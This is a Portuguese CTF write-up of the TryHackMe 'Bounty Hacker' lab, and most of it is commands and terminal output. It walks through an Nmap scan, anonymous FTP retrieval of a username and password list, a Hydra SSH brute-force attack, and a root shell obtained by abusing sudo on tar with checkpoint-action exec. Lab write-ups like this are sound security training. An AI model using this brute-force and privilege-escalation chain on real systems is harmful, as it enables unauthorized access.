

Bounty Hacker

Write-Up Técnico de CTF

Plataforma: TryHackMe

Dificuldade: Easy

Data: 12/04/2026

Sumário

1	Visão Geral	3
2	Reconhecimento	3
3	Enumeração	4
4	Exploração	4
5	Acesso Inicial	5
6	Escalada de Privilégios	5
7	Conclusão	6
8	Referências	6

1. Visão Geral

Bounty Hacker é uma máquina de dificuldade fácil da plataforma TryHackMe com temática de caçadores de recompensas. A superfície de ataque é composta por um servidor FTP com login anônimo habilitado que expõe arquivos sensíveis, e um serviço SSH acessível na porta padrão. O caminho de comprometimento consiste em enumerar o FTP para obter uma wordlist de senhas, executar ataque de força bruta via Hydra para obter acesso SSH, e escalar privilégios abusando de permissão `sudo` sem senha para o binário `tar`.

2. Reconhecimento

O reconhecimento foi realizado com o **Nmap** para identificar portas abertas, serviços e versões:

```
nmap -sV -sC <TARGET_IP>
```

```
[thelma@192 TryHackMe % nmap -sC -sV 10.67.174.76
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-12 16:50 -0300
Nmap scan report for 10.67.174.76 (10.67.174.76)
Host is up (0.15s latency).
Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
|_ftp-syst:
|_STAT:
|_FTP server status:
|_  Connected to ::ffff:192.168.224.126
|_  Logged in as ftp
|_  TYPE: ASCII
|_  No session bandwidth limit
|_  Session timeout in seconds is 300
|_  Control connection is plain text
|_  Data connections will be plain text
|_  At session startup, client count was 1
|_  vsFTPD 3.0.5 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
|_ssh-hostkey:
|_  3072 ef:f9:10:ff:86:a4:74:ff:1e:79:3e:24:f7:cc:ca:f7 (RSA)
|_  256 5b:13:de:21:8e:6a:e4:bb:03:59:4e:af:5a:7b:f9:2d (ECDSA)
|_  256 a7:a4:24:c2:13:6a:80:a6:a9:e7:2c:2f:df:49:63:d2 (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.31 seconds
thelma@192 TryHackMe %
```

Figura 1. Resultado do Nmap — portas 21 (FTP), 22 (SSH) e 80 (HTTP) abertas.

Três portas foram identificadas:

- **21/tcp** — vsftpd 3.0.5, login anônimo permitido.
- **22/tcp** — OpenSSH 8.2p1 (Ubuntu).
- **80/tcp** — Apache 2.4.41 (Ubuntu), sem título de página.

3. Enumeração

O login anônimo no FTP foi confirmado pelo Nmap. A conexão foi estabelecida para enumerar os arquivos disponíveis:

```
ftp <TARGET_IP>
# usuario: anonymous / senha: (vazio)
ls -la
get locks.txt
get task.txt
```

```
[thelma@192 TryHackMe % ftp 10.67.174.76
Connected to 10.67.174.76.
220 (vsFTPD 3.0.5)
Name (10.67.174.76:thelma): anonymous
230 Login successful.
[ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  2 ftp      ftp      4096 Jun 07  2020 .
drwxr-xr-x  2 ftp      ftp      4096 Jun 07  2020 ..
-rw-rw-r--  1 ftp      ftp       418 Jun 07  2020 locks.txt
-rw-rw-r--  1 ftp      ftp       68 Jun 07  2020 task.txt
226 Directory send OK.
[ftp> cat locks.txt
?Invalid command
[ftp> get locks.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
WARNING! 26 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
418 bytes received in 0,0006 seconds (725,0500 kbytes/s)
[ftp> get task.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
WARNING! 4 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
68 bytes received in 0,0003 seconds (208,1701 kbytes/s)
ftp> █
```

Figura 2. Sessão FTP anônima: download de locks.txt e task.txt.

Dois arquivos foram encontrados e transferidos:

- `task.txt` — contém tarefas listadas por um usuário chamado `lin`, revelando o nome de usuário válido no sistema.
- `locks.txt` — lista de senhas candidatas, utilizada como wordlist no ataque de força bruta.

4. Exploração

Com o usuário `lin` e a wordlist `locks.txt` obtidos via FTP, foi executado o **Hydra** para realizar ataque de força bruta no serviço SSH:

```
hydra -l lin -P locks.txt ssh://<TARGET_IP>
```

```
thelma@192 TryHackMe % hydra -l lin -P locks.txt ssh://10.67.174.76
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-12 17:24:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (1:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.67.174.76:22/
[22][ssh] host: 10.67.174.76 login: lin password: [REDACTED]
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-12 17:24:49
thelma@192 TryHackMe %
```

Figura 3. Hydra encontra a senha válida para o usuário `lin` via brute force (censurada).

O Hydra encontrou com sucesso a senha do usuário `lin` após testar as entradas da wordlist contra o serviço SSH.

5. Acesso Inicial

Com as credenciais obtidas, o acesso SSH foi estabelecido:

```
ssh lin@<TARGET_IP>
```

Após o login, a flag de usuário foi localizada no diretório home de `lin` e lida com `cat user.txt`.

6. Escalada de Privilégios

A enumeração de privilégios locais foi iniciada verificando os comandos que o usuário `lin` pode executar como root sem senha:

```
sudo -l
```

O resultado revelou que `lin` pode executar `/bin/tar` como root sem autenticação (NOPASSWD). O `tar` é um vetor clássico listado no **GTFOBins** que permite escapar para um shell privilegiado via checkpoint actions:

```
sudo tar cf /dev/null /dev/null \
--checkpoint=1 \
--checkpoint-action=exec=/bin/sh
```

```
lin@ip-10-67-174-76:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on ip-10-67-174-76:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on ip-10-67-174-76:
    (root) /bin/tar
lin@ip-10-67-174-76:~/Desktop$ (root) /bin/tar
-bash: syntax error near unexpected token `/bin/tar'
lin@ip-10-67-174-76:~/Desktop$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
#
# ls -la
total 12
drwxr-xr-x  2 lin lin 4096 Jun  7 2020 .
drwxr-xr-x 19 lin lin 4096 Jun  7 2020 ..
-rw-rw-r--  1 lin lin  21 Jun  7 2020 user.txt
# ls
user.txt
# find . -name "root.txt"
# cd root
/bin/sh: 5: cd: can't cd to root
# cd /root
# ls
root.txt  snap
# cat root.txt
```

Figura 4. `sudo -l` revela NOPASSWD para `/bin/tar`; shell root obtido via GTFOBins.

Um shell root foi obtido. A flag final foi lida em `/root/root.txt`:

```
lin@ip-10-67-174-76:~/Desktop$ sudo -l
Matching Defaults entries for lin on ip-10-67-174-76:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on ip-10-67-174-76:
    (root) /bin/tar
lin@ip-10-67-174-76:~/Desktop$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# cd /root
# ls
root.txt  snap
# cat root.txt
```

Figura 5. `root.txt` lida com a flag final (censurada).

7. Conclusão

A cadeia de exploração da Bounty Hacker partiu do reconhecimento de um servidor FTP com login anônimo que expunha uma wordlist de senhas (`locks.txt`) e o nome de usuário `lin` (`task.txt`). Com esses dados, o Hydra realizou força bruta no SSH e obteve a senha válida. Após login SSH, a escalada de privilégios foi direta: `lin` possuía permissão sudo sem senha para `/bin/tar`, o que possibilitou obter shell root via GTFOBins e capturar a flag final.

8. Referências

- **GTFOBins — tar** — <https://gtfobins.github.io/gtfobins/tar/>
- **Hydra — THC** — <https://github.com/vanhauser-thc/thc-hydra>
- **TryHackMe — Bounty Hacker** — <https://tryhackme.com/room/cowboyhacker>